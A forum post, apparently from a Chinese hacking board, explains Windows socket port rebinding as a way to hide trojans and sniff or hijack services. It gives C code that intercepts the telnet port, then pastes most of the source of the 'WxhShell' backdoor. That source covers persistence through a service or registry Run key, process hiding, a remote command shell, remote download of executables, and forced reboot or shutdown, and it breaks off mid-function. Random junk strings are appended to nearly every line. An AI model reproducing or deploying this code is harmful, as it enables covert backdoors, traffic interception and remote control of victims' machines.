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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~qTx|",  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mh]Gw(?w  
-lY6|79bF  
  saddr.sin_family = AF_INET; <Z mg#  
1~NT.tY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qm/22:&v5  
hcsP2 0s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *`5.|{<j{  
t.i 8 2Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EM(gmWHij  
tEvut=k'  
  这意味着什么?意味着可以进行如下的攻击: ;U+3w~  
vN;N/mL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2K/4Rf0;  
L [pBB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4V)kx[j  
TNe l/   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .SU8)T  
,is3&9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =O5pY9UO  
TrEu'yxy8*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 kTOzSiq  
lZ]ZDb?P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 y51e%n$  
NJWA3zz   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DEKP5?]  
.ypL=~Rp  
  #include $9_xGfx}  
  #include Ot_]3:`J~  
  #include 6]WAUK%h  
  #include    z!ZtzD]cb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B" 1c  
  int main() Bq%Jh  
  { he;dq)-e9  
  WORD wVersionRequested; On9A U:\  
  DWORD ret; @k,#L`3^  
  WSADATA wsaData; P~>O S5^  
  BOOL val; "c%0P"u  
  SOCKADDR_IN saddr; FrfM3x6UM  
  SOCKADDR_IN scaddr; gwuI-d^  
  int err; o,\$ZxSlm  
  SOCKET s; :+^lJ&{U  
  SOCKET sc; Tztu}t]N  
  int caddsize; a/4T> eC  
  HANDLE mt; Hw}Xbp[y  
  DWORD tid;   ?jv/TBZX4  
  wVersionRequested = MAKEWORD( 2, 2 ); 8mvy\l EEH  
  err = WSAStartup( wVersionRequested, &wsaData ); K7_UP&`=J  
  if ( err != 0 ) { BU/"rv"(Fg  
  printf("error!WSAStartup failed!\n"); P^ ~yzI  
  return -1; _7Ju  
  } ] vHF~|/-  
  saddr.sin_family = AF_INET; > PRFWO  
   JE "x  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 q$d>(vb q  
AUG#_HE]k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c<:-T  
  saddr.sin_port = htons(23); t6 "%3#s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r= `Jn6@  
  { ^1I19q  
  printf("error!socket failed!\n"); |.: q  
  return -1; [6Izlh+D  
  } q_[o" wq/  
  val = TRUE; ]nn98y+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i &nSh ]KK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) iy.p n  
  { @alK;\  
  printf("error!setsockopt failed!\n"); 1hY{k{+o  
  return -1; Y.(PiuG$G  
  } %v M-mbX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ju@c~Xm  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {BN#h[#B{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g*AWE,%=|  
LYTdTP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,q`\\d  
  { Xx~Bp+  
  ret=GetLastError(); jp%S3)  
  printf("error!bind failed!\n"); `KoV_2|  
  return -1;  ~^:A{/  
  } T4Uev*A  
  listen(s,2); <44G]eb  
  while(1) hD 82tr  
  { oWT3apGO  
  caddsize = sizeof(scaddr); *w`sM%]Rq  
  //接受连接请求 Z"xvh81P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2*& ^v  
  if(sc!=INVALID_SOCKET) vm8eZG|  
  {  ?(1 y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `g=J%p  
  if(mt==NULL) |mfvr *7  
  { -$ls(oot  
  printf("Thread Creat Failed!\n"); 4SxX3Fw  
  break; q"lSZ; 'E  
  } -=Q*Ml#I  
  } +5*95-;0  
  CloseHandle(mt); 9s q  
  } V~3a!-m\  
  closesocket(s); N#_H6TfMG  
  WSACleanup(); L,/%f<wd  
  return 0; L~OvY  
  }   b{&)6M)zo  
  DWORD WINAPI ClientThread(LPVOID lpParam) M'O <h  
  { pz}.9 yI8  
  SOCKET ss = (SOCKET)lpParam; %YscBG  
  SOCKET sc; -`h)$&,  
  unsigned char buf[4096]; )qw&%sO +  
  SOCKADDR_IN saddr; CY5Z{qiX  
  long num; EI%89i`3^  
  DWORD val; A}9`S6@@  
  DWORD ret; ~qKY) "gG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0v?"t OT!  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %J?xRv!  
  saddr.sin_family = AF_INET; Ffz,J6b  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); JX;G<lev  
  saddr.sin_port = htons(23); FDs>m #e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aeJHMHFc  
  { YK'<NE3 4  
  printf("error!socket failed!\n"); g]H<}4lgq"  
  return -1; r q].UCj  
  } BX7kO0j  
  val = 100; D/&o& G96  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A?P_DA  
  { r),kDia  
  ret = GetLastError(); 6A-|[(NS  
  return -1; 904}Jh,  
  } G5 WVr$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O<?R)NH-P  
  { 14yv$,  
  ret = GetLastError(); ^6V[=!& H  
  return -1; "ze|W\Bv!  
  } &j"?\f?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) g}cq K  
  { oD .Cs'  
  printf("error!socket connect failed!\n"); #q=Efn'  
  closesocket(sc); +a+Om73B2  
  closesocket(ss); ^hM4j{|&M  
  return -1; dUZ ,m9u  
  } Zb>?8  
  while(1) <\^8fn   
  { f2`2,?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VY4yS*y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 sDlO#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 aEeodA<(  
  num = recv(ss,buf,4096,0); Z@!+v 19^  
  if(num>0) bWU' cw  
  send(sc,buf,num,0); VpDbHAg  
  else if(num==0) h*](a_0  
  break; iqWQ!r^  
  num = recv(sc,buf,4096,0); on `3&0,.  
  if(num>0) 6LIJ Q  
  send(ss,buf,num,0); m;QMQeGz  
  else if(num==0) hz@bW2S.  
  break; rg!r[1c  
  } rjYJs*#  
  closesocket(ss); Q p3_f8  
  closesocket(sc); OQJ6e:BGt  
  return 0 ; <0!):zraS  
  } W/h[A3 `3N  
}K|oicpUg  
|@d\S[~^G  
========================================================== NC(~l  
zQd 2  
下边附上一个代码,,WXhSHELL )+DmOsH  
8{sGNCvU  
========================================================== _-g&PXH  
#@Jq~$N|  
#include "stdafx.h" Ad_h K O  
%7+qnH*;r  
#include <stdio.h> zK@@p+n_#.  
#include <string.h> HG^'I+Yn  
#include <windows.h> vXje^>_6  
#include <winsock2.h> `b$.%S8uj=  
#include <winsvc.h> !+v$)3u9  
#include <urlmon.h> o>pJPV  
SwMc pNo  
#pragma comment (lib, "Ws2_32.lib") XwaXdvmK  
#pragma comment (lib, "urlmon.lib") q(84+{>B  
fNFY$:4X  
#define MAX_USER   100 // 最大客户端连接数 &%J08l6  
#define BUF_SOCK   200 // sock buffer C~/a-  
#define KEY_BUFF   255 // 输入 buffer  f.)O2=  
Sdryol<  
#define REBOOT     0   // 重启 $=4QO  
#define SHUTDOWN   1   // 关机 8$}<, c(  
]c'A%:f<  
#define DEF_PORT   5000 // 监听端口 C?eH]hkZ3  
}qD\0+`qi  
#define REG_LEN     16   // 注册表键长度 5=ryDrx  
#define SVC_LEN     80   // NT服务名长度 6=Otq=WH  
_oeS Uzq.  
// 从dll定义API oUlVI*~ND  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `;egv*!P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3^yK!-Wp(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "^GGac.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \dah^mw"  
)Pv%#P-<  
// wxhshell配置信息 o`-msz  
struct WSCFG { 6Z"X}L,*  
  int ws_port;         // 监听端口 0o&5 ]lEe  
  char ws_passstr[REG_LEN]; // 口令 $IpccZpA  
  int ws_autoins;       // 安装标记, 1=yes 0=no VI *$em O0  
  char ws_regname[REG_LEN]; // 注册表键名 l*G[!u  
  char ws_svcname[REG_LEN]; // 服务名 RZTiw^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yJIscwF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (#c:b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9hyn`u.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )8ZH-|N`!E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" & 1f+,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dSHDWu&  
G18b$z  
}; TB31- ()  
^U/O !GK  
// default Wxhshell configuration ZbKg~jdF  
struct WSCFG wscfg={DEF_PORT, `Urhy#LC  
    "xuhuanlingzhe", $[ *w"iQ  
    1, ,I;> aE<#  
    "Wxhshell", q!@4~plz  
    "Wxhshell", pd$[8Rmj_  
            "WxhShell Service", "" EQE>d  
    "Wrsky Windows CmdShell Service", 4CTi]E=H{  
    "Please Input Your Password: ", 1< ?4\?j  
  1, S3J^,*'  
  "http://www.wrsky.com/wxhshell.exe", MF'JeM;H  
  "Wxhshell.exe" 6ik$B   
    }; '~ 47)fN  
Zv{'MIv&v  
// 消息定义模块 wC'Szni  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -mh3DhJ,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *{5fq_  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (/$^uWj  
char *msg_ws_ext="\n\rExit."; {P-):  
char *msg_ws_end="\n\rQuit."; ~&uHbTq  
char *msg_ws_boot="\n\rReboot..."; Dw"\/p:-3  
char *msg_ws_poff="\n\rShutdown..."; {M)Nnst"~  
char *msg_ws_down="\n\rSave to "; &H+xzN  
'Pbr v  
char *msg_ws_err="\n\rErr!"; #5uOx(>  
char *msg_ws_ok="\n\rOK!"; uXiN~j &Be  
#O&8A  
char ExeFile[MAX_PATH]; uQzXfOq  
int nUser = 0; /x *3}oI  
HANDLE handles[MAX_USER]; t6t!t*jO  
int OsIsNt; 7d\QB (~  
K (|}dl:  
SERVICE_STATUS       serviceStatus; C,eu9wOT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l U]nd[x  
7t3!) a|lI  
// 函数声明 +ZX{>:vo   
int Install(void); }6ldjCT/,  
int Uninstall(void); Vjpy~iP4B  
int DownloadFile(char *sURL, SOCKET wsh); vP,n(reM  
int Boot(int flag); 7xR\kL.,  
void HideProc(void); e'<)V_  
int GetOsVer(void); "J1 4C9u   
int Wxhshell(SOCKET wsl); "r2 r   
void TalkWithClient(void *cs); ^ZCD ~P_=  
int CmdShell(SOCKET sock); \b>] 8Un"  
int StartFromService(void); U $UIN#  
int StartWxhshell(LPSTR lpCmdLine); ?q [T  
y1#1Ne_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  L"aeG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wuo,kM  
q.}CU.dp  
// 数据结构和表定义 ),!qTjD  
SERVICE_TABLE_ENTRY DispatchTable[] = B-mowmJ3dg  
{ }-2|XD%]  
{wscfg.ws_svcname, NTServiceMain}, |':{lH6+1  
{NULL, NULL} Y4YJJYvD  
}; .RL=xb|[  
}QmqoCAE~m  
// 自我安装 (h `V+  
int Install(void) xYB{;K  
{ nr3==21Om4  
  char svExeFile[MAX_PATH]; `GLx#=Q  
  HKEY key; 1.>m@Slr>  
  strcpy(svExeFile,ExeFile); ptaKf4P^r  
lLIA w$  
// 如果是win9x系统,修改注册表设为自启动 QsW/X0YBv  
if(!OsIsNt) { 1 TXioDs=_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H;"4 C8K7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cH)";] k*-  
  RegCloseKey(key); R|Q?KCI&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8?C5L8)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 47B&s   
  RegCloseKey(key); 5-A\9UC*@  
  return 0; & nK<:^n  
    } ./~(7o$  
  } y_[vr:s5pG  
} I`#JwMU;m  
else { S|}L&A  
 AOx[  
// 如果是NT以上系统,安装为系统服务 " Yy n/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t`QENXA}  
if (schSCManager!=0) Bbp|!+KP{(  
{ TsZ@  
  SC_HANDLE schService = CreateService LH6 vLuf  
  (  =BrRYA  
  schSCManager, K> e7pu  
  wscfg.ws_svcname, >R=|Wo`Ri  
  wscfg.ws_svcdisp, wKHBAW[i]  
  SERVICE_ALL_ACCESS, fXB0j;A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `F6C-  
  SERVICE_AUTO_START, tf G@&&%9  
  SERVICE_ERROR_NORMAL, fc@A0Hf  
  svExeFile, &m vSiyKX  
  NULL, 048kPXm`  
  NULL, DV{=n C  
  NULL, M^I(OuRMeI  
  NULL, D)Dr__x  
  NULL !!y a  
  );  .wr>]yN  
  if (schService!=0) dqAw5[qMJ  
  { +/\6=).\  
  CloseServiceHandle(schService); B erwI 7!=  
  CloseServiceHandle(schSCManager); [Nq*BrzF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2?i7 UvV  
  strcat(svExeFile,wscfg.ws_svcname); L0]_X#s>#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eQ}4;^;M-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <-0]i_4sK  
  RegCloseKey(key); 92-I~ !d  
  return 0; WPDyu.QD  
    } A)KZa"EX  
  } 0BsYavCR  
  CloseServiceHandle(schSCManager); 2TuU2 f.  
} y> (w\K9W  
} xLn%hxm?,  
H[|~/0?K  
return 1; ?1".;foZ  
} _XT pU  
/7LR;>Bj  
// 自我卸载 ET >](l9  
int Uninstall(void) uIrG*K  
{ CQ2jP G*py  
  HKEY key; },[}$m %  
YoE3<[KD(  
if(!OsIsNt) { jqkqZF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8EEuv-aeo  
  RegDeleteValue(key,wscfg.ws_regname); F5#YOck&,  
  RegCloseKey(key); H:\k}*w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "h ^Z  
  RegDeleteValue(key,wscfg.ws_regname); )CyS#j#=  
  RegCloseKey(key); 2BobH_ H  
  return 0; J-4:H gx  
  } ZG@q`<:j  
} IM+ o.@f-  
}  LIdF 0  
else { h1(4Ic  
Np)lIGE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :i7;w%B  
if (schSCManager!=0) =qIyqbXz  
{ )_NO4`ejs/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q7A MRrN  
  if (schService!=0) Vq2$'lY  
  { ;=UsAB]  
  if(DeleteService(schService)!=0) { -%dCw6aX+  
  CloseServiceHandle(schService); {_dvx*M  
  CloseServiceHandle(schSCManager); A(0lM`X  
  return 0; fn!KQ`,#  
  } 4`R(?  
  CloseServiceHandle(schService); _tXlF;  
  } %%wNZ{  
  CloseServiceHandle(schSCManager); *9i{,I@  
} |WUG}G")*x  
} s9d_GhT%-  
L_s:l9!r  
return 1; uwBi W  
} IIqUZJ  
&"q=5e2  
// 从指定url下载文件 Q5_o/wk  
int DownloadFile(char *sURL, SOCKET wsh) o`RKXfCq  
{ o? $.fhD   
  HRESULT hr; fxIf|9Qi`  
char seps[]= "/"; {zFMmPid  
char *token; [fIg{Q  
char *file;  7[wieYj{  
char myURL[MAX_PATH]; yCX?!E;La  
char myFILE[MAX_PATH]; ,v&(YOd  
8JD,u  
strcpy(myURL,sURL); _-Fs# f8  
  token=strtok(myURL,seps); o8vug$=Z  
  while(token!=NULL) nNU2([  
  { 4H<lm*!^  
    file=token; g zg_>2Sj  
  token=strtok(NULL,seps); dq[xwRU1  
  }  rXU\  
DFTyMB1H  
GetCurrentDirectory(MAX_PATH,myFILE); Xs?o{]Fe  
strcat(myFILE, "\\"); <d_!mKw  
strcat(myFILE, file); C'X!\}f.b/  
  send(wsh,myFILE,strlen(myFILE),0); :a)u&g@G  
send(wsh,"...",3,0); H7j0K~U0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4a]P7fx-  
  if(hr==S_OK) &! ?eL  
return 0; z$xo$R(  
else GM<-&s!Uj  
return 1; b%5f&N  
OBAi2Vw  
} = 9]~ yt  
B93+BwN>95  
// 系统电源模块 Tu7QCr5*  
int Boot(int flag) O8.5}>gDn.  
{ VAu&@a`  
  HANDLE hToken; bY0|N[ g  
  TOKEN_PRIVILEGES tkp; o0vUj  
_ORvo{[:  
  if(OsIsNt) { ;d9QAN&0}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D5HZ2cz|a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "FKOaQ%IH  
    tkp.PrivilegeCount = 1; @{O`E^}-D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _#h_:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uR r o?m<  
if(flag==REBOOT) { 4_cqT/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0_t`%l=  
  return 0; LE>]8[ f6S  
} *`RkTc G  
else { `^y7f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xK\d4 "  
  return 0; \;"=QmRD%:  
} 9 |vLwQ  
  } \} :PLCKT  
  else { 5o8EC" 0  
if(flag==REBOOT) { %1$,Vs<RH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) > "=>3  
  return 0; HoL Et8Q  
} 3kMf!VL  
else { FG*r'tC~r  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ilx)*Y  
  return 0; t1y4 7fX6  
} )TH@# 1  
} 0=E]cQwh  
$H>W|9Kg,  
return 1; ~La>?:g <+  
} EJNU761  
fsWTF<Y  
// win9x进程隐藏模块  'CkIz"Wd  
void HideProc(void) 'y3!fN =h  
{ ITT@,  
OH(waKq2I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;VO:ph4Aj  
  if ( hKernel != NULL ) <<R*2b  
  { b`O'1r\Y;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d4c8~L H-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nK%LRcAs  
    FreeLibrary(hKernel); QW(Mz Hg  
  } }@+:\   
~1vDV>dpE  
return; [^98fAlz6  
} 7Da`   
EA]U50L(  
// 获取操作系统版本 1Z~FCJz  
int GetOsVer(void) lv+TD!b   
{ b 7?hI  
  OSVERSIONINFO winfo; *6DB0X_-}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8C9-_Ng`  
  GetVersionEx(&winfo); "u^H# L>-q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P! #[mio  
  return 1; zuy4G9P  
  else T <ET )D7  
  return 0; &AbNWtCV+G  
} *.d)OOpLo  
\Et3|Iv  
// 客户端句柄模块 (S\[Y9  
int Wxhshell(SOCKET wsl) U0N 60  
{ SmSH2m-  
  SOCKET wsh; e [mm  
  struct sockaddr_in client; 6.nCV 0xA  
  DWORD myID; FSW_<%  
<+vw@M  
  while(nUser<MAX_USER) +Kbjzh3<wG  
{ iVq'r4S  
  int nSize=sizeof(client); F%D.zvKN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9H`XeQ.  
  if(wsh==INVALID_SOCKET) return 1; sZ/v^ xk  
&H/'rd0M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D (?DW}Rqs  
if(handles[nUser]==0) iN8zo:&Z  
  closesocket(wsh); M{T-iW"  
else 4-H+vNG{%  
  nUser++; *kDCliL  
  } IE/^\ M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ieCEo|b  
)g#T9tx2D  
  return 0; GqaCj^2f  
} G.a bql  
]tRu2Ygf  
// 关闭 socket dufu|BL|}  
void CloseIt(SOCKET wsh) Ata:^qI  
{ UJ7*j%XQz_  
closesocket(wsh); EC!02S  
nUser--; .Una+Z  
ExitThread(0); 3E $f)  
} Q%tXQP.r  
W^LY'ypT  
// 客户端请求句柄 ex (.=X 1  
void TalkWithClient(void *cs) ""F5z,'  
{ jc[Y}gd,  
O$j7i:G'5  
  SOCKET wsh=(SOCKET)cs; '3D XPR^B6  
  char pwd[SVC_LEN]; F {4bo$~>  
  char cmd[KEY_BUFF]; PB`Y g  
char chr[1]; x vl#w  
int i,j; 3z9d!I^>k  
&n}f?  
  while (nUser < MAX_USER) { qCpp6~]Um  
}1i`6`y1  
if(wscfg.ws_passstr) { gANuBWh8T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Rmt~,cW!\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ][h%UrV  
  //ZeroMemory(pwd,KEY_BUFF); O-GJ-  
      i=0; &LZn FR  
  while(i<SVC_LEN) { /saIs%(fU  
?5|>@>  
  // 设置超时 Pz|>"'  
  fd_set FdRead; tla 5B_  
  struct timeval TimeOut; (G4at2YLd  
  FD_ZERO(&FdRead); Ed,~1GanY  
  FD_SET(wsh,&FdRead); {19PL8B~}  
  TimeOut.tv_sec=8; 1&evG-#<:  
  TimeOut.tv_usec=0; sRL`dEl4l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >xYpNtEs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9gEwh<  
C>j@,G4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]kRfB:4ED  
  pwd=chr[0]; JNYFD8J~  
  if(chr[0]==0xd || chr[0]==0xa) { z] P SpUd  
  pwd=0; >j(_[z|v3  
  break; E }Z/*lX  
  } BsqP?/  
  i++; ,nLy4T&"  
    } q#ClnG*  
Ou!2 [oe@M  
  // 如果是非法用户,关闭 socket X0H!/SlS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {V$|3m>:*  
} D4-ifsP  
JG!mc7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Cc' 37~6~P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +wvWwie  
R_ ,UMt  
while(1) { Ug t.&IA  
K'Tm_"[u  
  ZeroMemory(cmd,KEY_BUFF); ," Wr"  
Agg<tM{yB  
      // 自动支持客户端 telnet标准   w QH<gJE/:  
  j=0; rc>4vB_ha  
  while(j<KEY_BUFF) { K>r,(zgVc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &(G\[RWp\  
  cmd[j]=chr[0]; gk[aM~p  
  if(chr[0]==0xa || chr[0]==0xd) { 3kIN~/<R+7  
  cmd[j]=0; Ym{tR,g7  
  break; ?U5{Wa85D  
  } 6?mibvK  
  j++; ^ H ThN  
    } B^Nf #XN(  
p7VTa~\zA  
  // 下载文件 ~u!|qM  
  if(strstr(cmd,"http://")) { k)= X}=w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6]_pIf  
  if(DownloadFile(cmd,wsh)) ]kG"ubHV?h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); zyc"]IzOU  
  else c~$)UND^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o]` *M|  
  } @+M /&  
  else { KL:j?.0  
X_ cV%#  
    switch(cmd[0]) { {M$1N5Eh  
  3yY}04[9<  
  // 帮助 (G u zN  
  case '?': { nntuLuW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2*< nu><b  
    break; w%VU/6~  
  } HU }7zK2  
  // 安装 C:* *;=.  
  case 'i': { ,p@y] cr  
    if(Install()) *,)Md[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :q7Wy&ow  
    else k\YG^I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UcDS9f_87  
    break; wd^':  
    } ;%5N%0,  
  // 卸载 YTpSHpf@  
  case 'r': { )uIe&B  
    if(Uninstall()) ?)?Ng}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;| 5F[  
    else dvx#q5f_S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }DE g-j,F  
    break; 0hNA1Fh{U  
    } Gg3,:A_ w  
  // 显示 wxhshell 所在路径 y$F'(b| )  
  case 'p': { gX}8#O.K$  
    char svExeFile[MAX_PATH]; <#y[gTJ<'>  
    strcpy(svExeFile,"\n\r"); yZ(zdM\/sL  
      strcat(svExeFile,ExeFile); gQelD6c  
        send(wsh,svExeFile,strlen(svExeFile),0); [0[i5'K:  
    break; D/B8tf+V  
    } e&F8m%t  
  // 重启 vnt%XU,,Y  
  case 'b': { 5 +YH.4R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cLJ$M`e  
    if(Boot(REBOOT)) nQtWvT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {G0T$,'DR  
    else { Oo8VeRZ  
    closesocket(wsh); &yTqZ*Yuk  
    ExitThread(0); p* (JjH  
    } Lpz>>}  
    break; S6M}WR^,  
    } +nhLIO{{L  
  // 关机 Mj?`j_X  
  case 'd': { /-qNh >v4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E *6Cw l  
